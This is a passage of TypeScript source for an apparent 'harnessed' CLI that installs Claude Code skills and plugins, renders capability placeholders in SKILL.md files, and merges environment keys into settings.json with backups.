pre-parsed in src/cli.ts (→ setLocale) BEFORE this action runs, so\n      // getLocale() already reflects it; en → byte-identical to pre-29 behavior.\n      const rendered = await renderAllSkills(\n        skillNames,\n        skillsBase,\n        workflowsDir,\n        undefined,\n        getLocale(),\n      )\n      // (Step A.5 render count suppressed — internal detail)\n      if (rendered.aggregatedWarnings.length > 0) {\n        console.warn(t('setup.step_a_render.warnings_header'))\n        for (const w of rendered.aggregatedWarnings) {\n          console.warn(`    - ${w}`)\n        }\n      }\n\n      // ── Step A.6: Generate ~/.claude/commands/<x>.md (v3.4.3) ───────────────\n      // v3.4.3 — SKILL.md alone does NOT register a slash command. Claude Code\n      // platform-level slash commands require `~/.claude/commands/<x>.md`\n      // (filename = slash name; YAML frontmatter + body = prompt). This step\n      // writes one per installed sub-workflow, with a dual-path body: preferred\n      // (upstream slash cmd) + fallback (Task-spawn self-contained role prompt\n      // adapted from gstack expert prompts). Skip + warn if user already has\n      // a same-named commands/ file (additive only — never overwrite).\n      const commandsBase = getCommandsDir()\n      try {\n        await mkdir(commandsBase, { recursive: true })\n      } catch (e) {\n        console.warn(\n          `  [A.6] could not create ${commandsBase} — skipping commands/ generation (${(e as Error).message})`,\n        )\n      }\n      let capabilitiesMap = {}\n      try {\n        capabilitiesMap = await loadCapabilities(workflowsDir)\n      } catch (e) {\n        console.warn(\n          `  [A.6] capabilities.yaml unreadable — skipping commands/ generation (${(e as Error).message})`,\n        )\n      }\n      const rolePrompts = await loadRolePrompts(workflowsDir)\n      const installedPlugins = readInstalledPlugins()\n      const installedUserSkills = readInstalledUserSkills()\n      const cmdResult = await writeAllCommands(\n        skillNames,\n        commandsBase,\n        rolePrompts,\n        capabilitiesMap,\n        installedPlugins,\n        installedUserSkills,\n        async (p, c) => writeFile(p, c, 'utf8'),\n      )\n      const writtenCount = cmdResult.results.filter((r) => r.written).length\n      const skippedCount = cmdResult.results.filter((r) => !r.written && r.warning).length\n      if (writtenCount > 0 || skippedCount > 0) {\n        console.log(`  generated ${writtenCount} commands/<x>.md file(s) (${skippedCount} skipped)`)\n      }\n\n      // ── Step C: Agent Teams auto-enable ────────────────────────────────\n      await enableAgentTeamsInSettings()\n      await enableUserLangInSettings(raw.userLang)\n\n      // ── Step B: install-base auto-glob chain (parallel) ─────────────────────\n      // v3.9.7 — flow corrected per user UX feedback. First pass: default\n      // (updateInstalled=false) — idempotent_check probes short-circuit\n      // already-installed entries. AFTER summary prints, prompt user with\n      // the concrete already-installed list so they can decide informed.\n      // CLI flag `--update-installed` skips the prompt and forces from the\n      // first pass (CI / scripted use).\n      const manifestPaths = await listBaseManifests(pkgRoot)\n      const forceFirstPass = raw.updateInstalled === true\n      // v4.13.0 — live progress lines (user UX feedback: Step B was silent for\n      // its whole runtime and read as a hang). One line per finished component;\n      // works on non-TTY too (plain console.log, no spinner dependency).\n      const progressPrinter = (ev: {\n        done: number\n        total: number\n        name: string\n        status: string\n      }): void => {\n        console.log(`  [${ev.done}/${ev.total}] ${ev.status} ${ev.name}`)\n      }\n      console.log(\n        `\\ninstalling ${manifestPaths.length} upstream components (MCP serialized, rest parallel)...`,\n      )\n      const b = await runStepBInstall(manifestPaths, {\n        updateInstalled: forceFirstPass,\n        quiet: true,\n        onProgress: progressPrinter,\n      })\n      const stepBMs = (b.elapsedMs / 1000).toFixed(1)\n      console.log(\n        t('setup.step_b_complete', {\n          installed: b.installed.length,\n          already: b.alreadyInstalled.length,\n          skipped: b.skipped.length,\n          failed: b.failed.length,\n          seconds: stepBMs,\n        }),\n      )\n      printGrouped(b)\n\n      // v3.9.7 — Post-summary force-update prompt. Shows concrete list of\n      // already-installed third-party plugins so user can make informed\n      // decision. MCP installers (mcpStdioAdd / mcpHttpAdd) ignore the\n      // updateInstalled flag — existing mcpServers config is never\n      // overwritten by force-update.\n      if (\n        !forceFirstPass &&\n        !dryRun &&\n        raw.nonInteractive !== true &&\n        b.alreadyInstalled.length > 0\n      ) {\n        const isTty = process.stdin.isTTY === true && process.stdout.isTTY === true\n        if (isTty) {\n          const { confirm, isCancel } = await import('@clack/prompts')\n          const ans = await confirm({\n            message: `Update ${b.alreadyInstalled.length} already-installed plugin(s) listed above? (MCP servers excluded — they ignore force-update)`,\n            initialValue: false,\n          })\n          if (!isCancel(ans) && ans === true) {\n            // Second pass: force-update path. runInstall sees\n            // opts.updateInstalled=true → bypasses idempotent_check probe →\n            // runs install command. MCP installers ignore the flag per design.\n            const b2 = await runStepBInstall(manifestPaths, {\n              updateInstalled: true,\n              quiet: true,\n              onProgress: progressPrinter,\n            })\n            // Patch 4.10.1 Fix C — fail-soft reclassification (comet ensureOpenSpecCli):\n            // a refresh that failed but whose component is still on disk is NOT a\n            // failure — the prior version is retained. Move failed→keptExisting when\n            // the idempotent_check probe still passes for a previously-installed comp.\n            const probe = await makeIdempotentProbe(manifestPaths)\n            const reclass = await reclassifyForceUpdateFailures(b, b2, probe)\n            b2.failed = reclass.failed\n            b2.keptExisting = reclass.keptExisting\n            const stepB2Ms = (b2.elapsedMs / 1000).toFixed(1)\n            console.log(\n              `\\nForce-update pass complete: ${b2.installed.length} installed / ${b2.keptExisting.length} kept-existing / ${b2.alreadyInstalled.length} still-already-installed (MCP) / ${b2.skipped.length} skipped / ${b2.failed.length} failed [parallel ${stepB2Ms}s]`,\n            )\n            printGrouped(b2, '[force-update] ')\n            if (b2.keptExisting.length > 0) {\n              console.warn(\n                `\\n  ${b2.keptExisting.length} plugin(s) kept their existing version — refresh failed but the prior install is still usable. Re-run \\`harnessed setup\\` later to retry the update.`,\n              )\n            }\n          }\n        }\n      }\n\n      // v4.13.0 — L4 rescue: Step B is nonInteractive so L4 manifests (global\n      // npm installs, e.g. ctx7) skip with level-flag-missing every run. Offer\n      // an interactive opt-in here (TTY only; dynamic import mirrors the\n      // runAutoInstall pattern so setup tests need no new mock exports).\n      if (\n        !dryRun &&\n        raw.nonInteractive !== true &&\n        b.skipped.some((s) => s.reason === 'level-flag-missing')\n      ) {\n        const isTty = process.stdin.isTTY === true && process.stdout.isTTY === true\n        if (isTty) {\n          const { runL4Rescue } = await import('./lib/l4-rescue.js')\n          await runL4Rescue(manifestPaths, b.skipped)\n        }\n      }\n\n      console.log(\n        t('setup.complete', {\n          skills: skillsInstalled,\n          manifests: b.installed.length + b.alreadyInstalled.length,\n        }),\n      )\n      if (b.alreadyInstalled.length > 0 || b.installed.length > 0) {\n        // v4.14.0 — hint follows the active platform (\"/mcp in Claude Code\" is\n        // meaningless on codex; there the check is `codex mcp list`).\n        console.log(t(detectPlatform().id === 'codex' ? 'setup.mcp_hint_codex' : 'setup.mcp_hint'))\n      }\n\n      // ── Phase v2.0-2.3 W1.1: Pure bundled distribution highlight (D-01) ───\n      // workflows live in <packageRoot>/workflows/ — share-only readonly,\n      // NOT user-dir override (~/.harnessed/ NOT used per D-01 LOCKED).\n      console.log(t('setup.bundled_summary'))\n      console.log(t('setup.bundled_location'))\n      // v3.8.0 P3 — advisory doctor hint (NO auto-invoke to avoid CLI subprocess\n      // complexity + scope creep; user opts in by running `harnessed doctor`).\n      console.log(t('setup.doctor_hint'))\n\n      // v3.9.0 P4 — auto-install missing third-party plugins (default opt-in,\n      // confirm prompt per plugin). Skips on --non-interactive, --no-auto-install,\n      // dry-run path (no side effects per Phase 1 dry-run contract), or non-TTY\n      // stdin (CI / piped invocation — can't prompt anyway, fall back to advisory).\n      if (!dryRun) {\n        const isTty = process.stdin.isTTY === true && process.stdout.isTTY === true\n        const { runAutoInstall } = await import('./lib/auto-install.js')\n        await runAutoInstall({\n          nonInteractive: raw.nonInteractive === true || !isTty,\n          autoInstall: raw.autoInstall !== false, // commander default = true; --no-auto-install flips\n        })\n      }\n      process.exit(0)\n    })\n}\n","// v3.4.2 redesign — Capability presence resolver for SKILL.md template rendering.\n//\n// Background (why v3.4.1 was wrong):\n//   v3.4.1 assumed every external slash command came from a Claude Code marketplace\n//   plugin and rendered as `/<plugin-name>:<bare>` (e.g. `/gstack:review`). User\n//   dogfood install verified this is false on TWO fronts:\n//     (a) gstack / mattpocock / gsd are user-skills (git clone into\n//         ~/.claude/skills/<x>/), NOT plugins. They never appear in\n//         installed_plugins.json.\n//     (b) Claude Code plugin slash-commands themselves are bare too — a plugin's\n//         `commands/<x>.md` file becomes `/<x>` directly with NO `<plugin>:`\n//         prefix. (Verified against the real `code-review` plugin layout:\n//         `~/.claude/plugins/cache/.../code-review/.../commands/code-review.md`\n//         → slash `/code-review`, not `/code-review:code-review`.)\n//   So v3.4.1's whole `/<ns>:<bare>` mutation was misguided. The cmd field in\n//   capabilities.yaml already holds the actual invocable slash command verbatim.\n//\n// Design (v3.4.2):\n//   The resolver no longer mutates cmd. It only PRESENCE-CHECKS the backing\n//   capability and emits a warning when declared but missing. Two install paths:\n//\n//     install_type: plugin    → look up `plugin_id` in\n//                                ~/.claude/plugins/installed_plugins.json\n//                                (key prefix before `@`).\n//     install_type: user-skill → look up `skill_dir` directory under\n//                                ~/.claude/skills/<skill_dir>/.\n//     install_type omitted    → no check (built-in / cli / mcp / sentinel /\n//                                pre-namespaced superpowers cmds).\n//\n// Both `plugin_id` and `skill_dir` are explicit (no auto-derivation from capability\n// key). Explicit > implicit when one capability key (e.g. `gstack-review`) maps to\n// a different lookup id (`gstack` skill_dir). Karpathy simplicity: explicit fields\n// avoid magic, schema stays additive, future capabilities are obvious.\n\nimport { readdirSync, readFileSync } from 'node:fs'\nimport { getPluginsRegistry, getSkillsDir } from '../../installers/lib/platform.js'\n\n/** Minimal shape needed from capabilities.yaml — additive yaml-tolerant. */\nexport interface CapabilityEntry {\n  cmd: string\n  impl?: string\n  /**\n   * v3.4.2: which presence-check path(s) to run. Omit for no check.\n   *\n   * Single value (e.g. `'plugin'` or `'user-skill'`) → check that one path only.\n   *\n   * Array (e.g. `['plugin', 'user-skill']`) → \"互为补充\" dual-install support:\n   * resolver tries each declared path; **any one detected = OK no warning**.\n   * Only if ALL declared paths are missing does it emit a combined warning\n   * listing every install method. Both `plugin_id` and `skill_dir` should be\n   * populated when the array form is used so each path has a concrete lookup.\n   */\n  install_type?: 'plugin' | 'user-skill' | ReadonlyArray<'plugin' | 'user-skill'>\n  /** v3.4.2: lookup key in installed_plugins.json (left side of `<name>@<marketplace>`). */\n  plugin_id?: string\n  /** v3.4.2: lookup directory under ~/.claude/skills/. */\n  skill_dir?: string\n}\n\n/** Capabilities map keyed by capability name (e.g. `gstack-review` → entry). */\nexport type CapabilityMap = Record<string, CapabilityEntry>\n\n/** Resolver result for a single capability cmd render. */\nexport interface ResolvedCmd {\n  /** ALWAYS = cmd unchanged. Resolver never mutates the cmd. */\n  renderedCmd: string\n  /** Populated when install_type declared but capability not detected on disk. */\n  warning?: string\n}\n\n/**\n * Parse `~/.claude/plugins/installed_plugins.json` → Set of installed plugin names.\n *\n * File shape (verified 2026-05-24 on user's machine):\n *   { version: 2, plugins: { \"<pluginName>@<marketplaceId>\": [{ ... }], ... } }\n *\n * The `<pluginName>` portion (left of `@`) is what we match against\n * `capability.plugin_id`. Tolerant of missing/malformed file — returns empty Set\n * so setup remains non-blocking on discovery failure (sister fallback 铁律 1).\n */\nexport function readInstalledPlugins(homedirOverride?: string): Set<string> {\n  // D2: thread the test/override home through the resolver instead of\n  // re-hardcoding `.claude`. `undefined` → resolver defaults to homedir().\n  const path = getPluginsRegistry(homedirOverride)\n  // Phase C / D4: a platform without a plugin registry (codex) returns null →\n  // no plugins to enumerate. Return empty Set (no fs read).\n  if (path === null) return new Set()\n  let raw: string\n  try {\n    raw = readFileSync(path, 'utf8')\n  } catch {\n    return new Set()\n  }\n  let parsed: unknown\n  try {\n    parsed = JSON.parse(raw)\n  } catch {\n    return new Set()\n  }\n  if (!parsed || typeof parsed !== 'object') return new Set()\n  const plugins = (parsed as { plugins?: unknown }).plugins\n  if (!plugins || typeof plugins !== 'object') return new Set()\n  const out = new Set<string>()\n  for (const key of Object.keys(plugins)) {\n    const at = key.indexOf('@')\n    if (at <= 0) continue // defensive: skip malformed keys without `@` separator\n    out.add(key.slice(0, at))\n  }\n  return out\n}\n\n/**\n * List directories under `~/.claude/skills/` → Set of installed user-skill dir\n * names. Each directory represents one user-skill (whether single-skill flat\n * dir like `diagnose/SKILL.md`, or umbrella dir like `gstack/<sub>/SKILL.md`).\n *\n * Tolerant of missing skills dir (returns empty Set) — first-time users with no\n * user-skills installed simply see warnings for any user-skill capabilities.\n */\nexport function readInstalledUserSkills(homedirOverride?: string): Set<string> {\n  // D2: resolver threads the optional home; default → homedir().\n  const skillsRoot = getSkillsDir(homedirOverride)\n  try {\n    const entries = readdirSync(skillsRoot, { withFileTypes: true })\n    const out = new Set<string>()\n    for (const e of entries) if (e.isDirectory()) out.add(e.name)\n    return out\n  } catch {\n    return new Set()\n  }\n}\n\n/**\n * Resolve a single capability presence + return cmd UNCHANGED + optional warning.\n *\n * - install_type omitted → return cmd unchanged, no check, no warning.\n * - install_type: plugin AND plugin_id present in installedPlugins → cmd\n *   unchanged, no warning.\n * - install_type: plugin AND plugin_id MISSING → cmd unchanged, warning with\n *   plugin install hint.\n * - install_type: user-skill AND skill_dir present in installedUserSkills →\n *   cmd unchanged, no warning.\n * - install_type: user-skill AND skill_dir MISSING → cmd unchanged, warning\n *   with git-clone install hint.\n *\n * Missing `plugin_id` / `skill_dir` for the corresponding install_type emits\n * a schema-level warning (config bug — capability misdeclared).\n */\nexport function resolveCapabilityCmd(\n  capability: CapabilityEntry,\n  installedPlugins: Set<string>,\n  installedUserSkills: Set<string>,\n): ResolvedCmd {\n  const { cmd, install_type, plugin_id, skill_dir } = capability\n\n  if (!install_type) return { renderedCmd: cmd }\n\n  // Normalize single string → array. Array form (\"互为补充\" dual-install):\n  // any one path detected = OK no warning; ALL missing = combined warning.\n  const types = Array.isArray(install_type) ? install_type : [install_type]\n\n  // De-dupe + preserve declared order (stable for consistent warning text).\n  const uniqueTypes = [...new Set(types)]\n\n  // Per-path probe; collect missing hints + detect any hit.\n  const missingHints: string[] = []\n  let anyDetected = false\n\n  for (const t of uniqueTypes) {\n    if (t === 'plugin') {\n      if (!plugin_id) {\n        missingHints.push(\n          `install_type=plugin declared but no plugin_id (capabilities.yaml schema bug)`,\n        )\n        continue\n      }\n      if (installedPlugins.has(plugin_id)) {\n        anyDetected = true\n        break // short-circuit on first hit\n      }\n      missingHints.push(`plugin '${plugin_id}' (\\`claude plugin install ${plugin_id}\\`)`)\n    } else {\n      // 'user-skill'\n      if (!skill_dir) {\n        missingHints.push(\n          `install_type=user-skill declared but no skill_dir (capabilities.yaml schema bug)`,\n        )\n        continue\n      }\n      if (installedUserSkills.has(skill_dir)) {\n        anyDetected = true\n        break\n      }\n      missingHints.push(\n        `user-skill '${skill_dir}' under ~/.claude/skills/ (git clone the official repo; e.g. gstack: \\`git clone https://github.com/garrytan/gstack.git ~/.claude/skills/gstack && cd ~/.claude/skills/gstack && ./setup\\`)`,\n      )\n    }\n  }\n\n  if (anyDetected) return { renderedCmd: cmd }\n\n  // All declared paths missing. Combined warning lists every install method.\n  const prefix = uniqueTypes.length > 1 ? '[multi]' : `[${uniqueTypes[0]}]`\n  const joined = missingHints.join(' OR ')\n  return {\n    renderedCmd: cmd,\n    warning: `${prefix} '${cmd}' backing missing — install either: ${joined}.`,\n  }\n}\n\n/** Regex matches `{{ capabilities.<name>.cmd }}` allowing flexible whitespace. */\nconst CAPABILITY_CMD_TEMPLATE = /\\{\\{\\s*capabilities\\.([a-zA-Z0-9_-]+)\\.cmd\\s*\\}\\}/g\n\n/** Result of rendering a SKILL.md body. */\nexport interface RenderedSkill {\n  /** SKILL.md body with all `{{ capabilities.*.cmd }}` placeholders replaced. */\n  body: string\n  /** Unique warning lines collected (deduped) — caller emits as summary block. */\n  warnings: string[]\n}\n\n/**\n * Render all `{{ capabilities.<name>.cmd }}` placeholders in a SKILL.md body.\n *\n * - Unknown capability name → leave placeholder verbatim + emit warning (so\n *   broken refs are visible in the rendered file AND in the setup summary).\n * - Per-capability resolver warnings (plugin/user-skill missing) deduplicated\n *   across multiple references within and across files.\n */\nexport function renderSkillBody(\n  body: string,\n  capabilities: CapabilityMap,\n  installedPlugins: Set<string>,\n  installedUserSkills: Set<string>,\n): RenderedSkill {\n  const warningsSet = new Set<string>()\n  const out = body.replace(CAPABILITY_CMD_TEMPLATE, (match, name: string) => {\n    const cap = capabilities[name]\n    if (!cap) {\n      warningsSet.add(\n        `capability '${name}' referenced in SKILL.md but not defined in capabilities.yaml`,\n      )\n      return match // preserve literal so issue is visible to skill consumer\n    }\n    const { renderedCmd, warning } = resolveCapabilityCmd(\n      cap,\n      installedPlugins,\n      installedUserSkills,\n    )\n    if (warning) warningsSet.add(warning)\n    return renderedCmd\n  })\n  return { body: out, warnings: [...warningsSet] }\n}\n","// v3.3.1 hotfix — auto-enable Agent Teams in ~/.claude/settings.json during `harnessed setup`.\n// Sister checkAgentTeams.ts (Phase 2.3 W0.5 SHIPPED): mirror probe logic but WRITE-side.\n// Q-AUDIT-5b LOCKED: schema is root-level `env.CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS`\n// NOT nested `experimental.*`.\n//\n// Phase 27 (D3 fold): the read/parse/3-case/atomicWrite/backup mechanics moved to\n// the shared `settingsWriter.mergeSettingsEnvKey()`. This file is now a thin caller\n// that fixes the env key + idempotency policy (key === '1' → no-op) and maps the\n// shared MergeOutcome back to the public EnableResult union. Behavior + result type\n// unchanged (byte-identical writes, same statuses).\n//\n// Behavior (3 case + non-destructive merge):\n//   (a) file 不存在 → create with `{env: {CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS: \"1\"}}`\n//   (b) file 存在 + env.CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS === \"1\" → idempotent no-op\n//   (c) file 存在 + 缺 key OR key !== \"1\" → backup original + merge add/update key\n//\n// Backup → `~/.claude/harnessed/backups/settings.json.{ISO-ts}.bak`; atomic tmp+rename.\n// Any error → warn + skip (sister fallback 铁律 1 透明声明), NOT throw — non-blocking setup.\n\nimport { detectPlatform } from '../../installers/lib/platform.js'\nimport { mergeSettingsEnvKey } from './settingsWriter.js'\n\nconst ENV_KEY = 'CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS'\n\nexport type EnableResult =\n  | { status: 'created'; path: string }\n  | { status: 'already-enabled'; path: string }\n  | { status: 'enabled'; path: string; backupPath: string }\n  | { status: 'warn'; message: string }\n\nexport async function enableAgentTeamsInSettings(): Promise<EnableResult> {\n  // Phase C / D4: capability gate. A platform whose settings file is not a JSON\n  // env-key store (e.g. codex's TOML config.toml) must NOT be written to — the\n  // CC env key is meaningless there and a JSON merge would corrupt the TOML.\n  // Short-circuit BEFORE any fs read; inform via the existing 'warn' variant.\n  const platform = detectPlatform()\n  if (!platform.supportsEnvKeyWrite) {\n    return {\n      status: 'warn',\n      message: `platform '${platform.id}' does not support env-key settings writes (capability-absent) — ${ENV_KEY} skipped`,\n    }\n  }\n  const r = await mergeSettingsEnvKey(ENV_KEY, '1', {\n    skipIfPresent: (existing) => existing === '1',\n  })\n  switch (r.outcome) {\n    case 'created':\n      return { status: 'created', path: r.path }\n    case 'already':\n      return { status: 'already-enabled', path: r.path }\n    case 'merged':\n      return { status: 'enabled', path: r.path, backupPath: r.backupPath }\n    case 'warn':\n      return { status: 'warn', message: r.message }\n  }\n}\n","// Phase 27 W1 T2 — shared settings env-key writer (D3 fold).\n//\n// enableAgentTeamsInSettings (v3.3.1) and enableUserLangInSettings (v3.4.0) were\n// near-identical: read → parse → 3-case (create fresh / idempotent / backup +\n// merge) → atomicWrite (tmp + rename), backup → harnessedSubdir('backups'). The\n// only differences were the env key + (lang) an already-set policy. This module\n// extracts the shared mechanics behind `mergeSettingsEnvKey(key, value, opts?)`,\n// returning a discriminated outcome the two thin callers map to their existing\n// public result-type unions. Byte-for-byte identical writes (settingsPath via the\n// Phase-B getSettingsPath() resolver; backup, atomic semantics unchanged).\n//\n// Zero behavior change: every write/rename/backup the callers used to do is still\n// done here, in the same order, with the same content + warn wording. Any error →\n// warn outcome (NOT throw) so `harnessed setup` stays non-blocking (sister fallback\n// 铁律 1).\n\nimport { mkdir, readFile, rename, writeFile } from 'node:fs/promises'\nimport { dirname, join } from 'node:path'\nimport { harnessedSubdir } from '../../installers/lib/harnessedRoot.js'\nimport { getSettingsPath } from '../../installers/lib/platform.js'\n\n/**\n * Discriminated outcome of a settings env-key merge.\n *\n * - `created` — file did not exist; wrote a fresh `{env:{key:value}}`.\n * - `already` — `skipIfPresent(existing)` was true; no-op. Carries the existing\n *   value so the lang caller can surface it.\n * - `merged`  — backed up the original + merged the key non-destructively.\n * - `warn`    — read/parse/write failed; nothing partial left behind.\n */\nexport type MergeOutcome =\n  | { outcome: 'created'; path: string }\n  | { outcome: 'already'; path: string; existing: string }\n  | { outcome: 'merged'; path: string; backupPath: string }\n  | { outcome: 'warn'; message: string }\n\nexport interface MergeOpts {\n  /**\n   * Given the current value of `env[key]` (a string), return true to treat the\n   * file as already-correct and no-op. Used for idempotency / user-override\n   * policies. When omitted, an existing key is always overwritten (backup +\n   * merge). Only invoked when `env[key]` is a non-empty string.\n   */\n  skipIfPresent?: (existing: string) => boolean\n}\n\n/**\n * Merge `env[key] = value` into `~/.claude/settings.json` (3-case, non-destructive).\n *\n * Mirrors the original enable*-writer mechanics exactly so the fold is a pure\n * refactor.\n */\nexport async function mergeSettingsEnvKey(\n  key: string,\n  value: string,\n  opts: MergeOpts = {},\n): Promise<MergeOutcome> {\n  const path = getSettingsPath()\n\n  let raw: string\n  try {\n    raw = await readFile(path, 'utf8')\n  } catch (err) {\n    const code = (err as NodeJS.ErrnoException).code\n    if (code !== 'ENOENT') {\n      return { outcome: 'warn', message: `read ${path} failed: ${(err as Error).message}` }\n    }\n    // Case (a): file does not exist → create fresh.\n    return createFresh(path, key, value)\n  }\n\n  let data: Record<string, unknown>\n  try {\n    const parsed = JSON.parse(raw) as unknown\n    if (parsed === null || typeof parsed !== 'object' || Array.isArray(parsed)) {\n      return { outcome: 'warn', message: `${path} is not a JSON object` }\n    }\n    data = parsed as Record<string, unknown>\n  } catch (err) {\n    return { outcome: 'warn', message: `${path} malformed JSON: ${(err as Error).message}` }\n  }\n\n  const env = (data.env ?? {}) as Record<string, unknown>\n  const existing = env[key]\n  if (\n    typeof existing === 'string' &&\n    existing.length > 0 &&\n    opts.skipIfPresent?.(existing) === true\n  ) {\n    // Case (b): present + policy says respect it → idempotent no-op.\n    return { outcome: 'already', path, existing }\n  }\n\n  // Case (c): backup original + merge add/update key (non-destructive).\n  const backup = await backupOriginal(raw)\n  if (backup.status === 'warn') return { outcome: 'warn', message: backup.message }\n\n  data.env = { ...env, [key]: value }\n  const writeErr = await atomicWrite(path, `${JSON.stringify(data, null, 2)}\\n`)\n  if (writeErr) return { outcome: 'warn', message: writeErr }\n\n  return { outcome: 'merged', path, backupPath: backup.path }\n}\n\nasync function createFresh(path: string, key: string, value: string): Promise<MergeOutcome> {\n  const data = { env: { [key]: value } }\n  try {\n    await mkdir(dirname(path), { recursive: true })\n  } catch (err) {\n    return { outcome: 'warn', message: `mkdir ~/.claude failed: ${(err as Error).message}` }\n  }\n  const writeErr = await atomicWrite(path, `${JSON.stringify(data, null, 2)}\\n`)\n  if (writeErr) return { outcome: 'warn', message: writeErr }\n  return { outcome: 'created', path }\n}\n\nasync function backupOriginal(\n  raw: string,\n): Promise<{ status: 'ok'; path: string } | { status: 'warn'; message: string }> {\n  const backupRoot = harnessedSubdir('backups')\n  const ts = new Date().toISOString().replace(/:/g, '-')\n  const backupPath = join(backupRoot, `settings.json.${ts}.bak`)\n  try {\n    await mkdir(backupRoot, { recursive: true })\n    await writeFile(backupPath, raw, 'utf8')\n    return { status: 'ok', path: backupPath }\n  } catch (err) {\n    return { status: 'warn', message: `backup ${backupPath} failed: ${(err as Error).message}` }\n  }\n}\n\nasync function atomicWrite(path: string, content: string): Promise<string | undefined> {\n  const tmpPath = `${path}.tmp-${process.pid}-${Date.now()}`\n  try {\n    await writeFile(tmpPath, content, 'utf8')\n    await rename(tmpPath, path)\n    return undefined\n  } catch (err) {\n    return `write ${path} failed: ${(err as Error).message}`\n  }\n}\n","// v3.4.0 NEW — auto-detect + write `env.HARNESSED_USER_LANG` in\n// ~/.claude/settings.json during `harnessed setup` Step D.\n//\n// Sister enableAgentTeamsInSettings.ts (v3.3.1 hotfix): mirror probe + 3-case\n// merge logic but for a different key. Q-AUDIT-5b LOCKED root-level env.*\n// schema preserved.\n//\n// Phase 27 (D3 fold): the read/parse/3-case/atomicWrite/backup mechanics moved to\n// the shared `settingsWriter.mergeSettingsEnvKey()`. This file keeps the lang\n// policy (detectUserLang/safeIntlLocale + the already-set respect-override rule)\n// and maps the shared MergeOutcome back to the public EnableUserLangResult union.\n// Behavior + result type unchanged.\n//\n// Locale matching policy (LOCKED per v3.4.0 coordinator clarification):\n//   - `zh*` (zh-CN / zh-Hans / zh-TW / zh.UTF-8 / etc.) → 'zh-Hans'\n//   - Any other input (en / ko / ja / fr / de / es / etc.) → 'en'\n//\n// Behavior (3 case + non-destructive merge):\n//   (a) file missing → create with {env:{HARNESSED_USER_LANG: detected}}\n//   (b) env.HARNESSED_USER_LANG already set + no explicit override → idempotent no-op\n//   (c) file exists missing key OR explicit override → backup + merge update\n//\n// `--user-lang <code>` CLI override is honored when provided (forces detected = code).\n//\n// Backup → ~/.claude/harnessed/backups/settings.json.{ISO-ts}.bak.\n// Any error → warn + skip (sister fallback 铁律 1), NOT throw — non-blocking setup.\n\nimport { detectPlatform } from '../../installers/lib/platform.js'\nimport { mergeSettingsEnvKey } from './settingsWriter.js'\n\nconst ENV_KEY = 'HARNESSED_USER_LANG'\n\nexport type UserLangCode = 'en' | 'zh-Hans'\n\nexport type EnableUserLangResult =\n  | { status: 'created'; path: string; detected: UserLangCode }\n  | { status: 'already-set'; path: string; existing: string }\n  | { status: 'enabled'; path: string; backupPath: string; detected: UserLangCode }\n  | { status: 'warn'; message: string }\n\n/**\n * Detect OS locale → 'zh-Hans' if zh*, else 'en'. Mirrors src/i18n/index.ts\n * `mapToSupported()` policy. Kept inline here (not imported from i18n) so the\n * helper has no cross-module coupling and the test fixture can override env\n * vars cleanly.\n */\nexport function detectUserLang(override?: string): UserLangCode {\n  if (override) {\n    if (/^zh([^a-z]|$)/i.test(override)) return 'zh-Hans'\n    return 'en'\n  }\n  const raw =\n    process.env.HARNESSED_LANG ||\n    process.env.LC_ALL ||\n    process.env.LANG ||\n    process.env.LANGUAGE ||\n    safeIntlLocale() ||\n    ''\n  if (/^zh([^a-z]|$)/i.test(raw)) return 'zh-Hans'\n  return 'en'\n}\n\nfunction safeIntlLocale(): string | undefined {\n  try {\n    return Intl.DateTimeFormat().resolvedOptions().locale\n  } catch {\n    return undefined\n  }\n}\n\nexport async function enableUserLangInSettings(override?: string): Promise<EnableUserLangResult> {\n  // Phase C / D4: capability gate (sister enableAgentTeamsInSettings). codex's\n  // TOML config.toml is not a JSON env-key store — skip + inform, never write.\n  const platform = detectPlatform()\n  if (!platform.supportsEnvKeyWrite) {\n    return {\n      status: 'warn',\n      message: `platform '${platform.id}' does not support env-key settings writes (capability-absent) — ${ENV_KEY} skipped`,\n    }\n  }\n  const detected = detectUserLang(override)\n\n  // Case (b) respects an existing user-managed value ONLY when no explicit\n  // override was passed. mergeSettingsEnvKey invokes skipIfPresent only for a\n  // present non-empty string value — matching the original guard exactly.\n  const r = await mergeSettingsEnvKey(ENV_KEY, detected, {\n    skipIfPresent: () => override === undefined,\n  })\n  switch (r.outcome) {\n    case 'created':\n      return { status: 'created', path: r.path, detected }\n    case 'already':\n      return { status: 'already-set', path: r.path, existing: r.existing }\n    case 'merged':\n      return { status: 'enabled', path: r.path, backupPath: r.backupPath, detected }\n    case 'warn':\n      return { status: 'warn', message: r.message }\n  }\n}\n","// v3.4.2 redesign — Render capability template placeholders in installed SKILL.md.\n//\n// Setup pipeline:\n//   1. `cp` recursively copies workflows/<x>/ → ~/.claude/skills/<x>/ (existing).\n//   2. THIS module post-processes copied SKILL.md files: regex-replace\n//      `{{ capabilities.<name>.cmd }}` placeholders with resolver output.\n//   3. Warnings collected per skill, returned to setup.ts for end-of-run summary.\n//\n// v3.4.2 change vs v3.4.1: resolver now receives BOTH installed plugin set AND\n// installed user-skill set, so it can presence-check capabilities backed by either\n// install path. The resolver never mutates cmd — it only emits warnings when\n// install_type is declared and the backing capability is absent on disk.\n//\n// Karpathy simplicity: file ≤ 200 LOC; no new deps; reads capabilities.yaml once.\n\nimport { readFile, rm, writeFile } from 'node:fs/promises'\nimport { join } from 'node:path'\nimport { parse as parseYaml } from 'yaml'\nimport { getLocale, type SupportedLocale } from '../../i18n/index.js'\nimport {\n  type CapabilityMap,\n  readInstalledPlugins,\n  readInstalledUserSkills,\n  renderSkillBody,\n} from './capabilityResolver.js'\nimport { resolveSkillBodyFilename, skillBodyFilename } from './resolveSkillBody.js'\n\n/** Locale body siblings to strip from the dest dir after the locale pick, so the\n *  install dir holds a single locale-correct SKILL.md (the exact name CC reads).\n *  Today only zh-Hans ships; extend when ja/ko/etc. tables land. */\nconst LOCALE_SIBLINGS: readonly SupportedLocale[] = ['zh-Hans']\n\n/** Per-skill render outcome — passed back to setup.ts for log emission. */\nexport interface SkillRenderResult {\n  /** Skill name (e.g. `verify-paranoid`). */\n  name: string\n  /** Skill SKILL.md absolute path that was rewritten (or attempted). */\n  skillPath: string\n  /** True when at least one placeholder was substituted. */\n  rendered: boolean\n  /** Resolver warnings (plugin / user-skill missing, unknown capability ref). */\n  warnings: string[]\n  /** Hard error (read/parse/write failure) — caller emits warn and continues. */\n  error?: 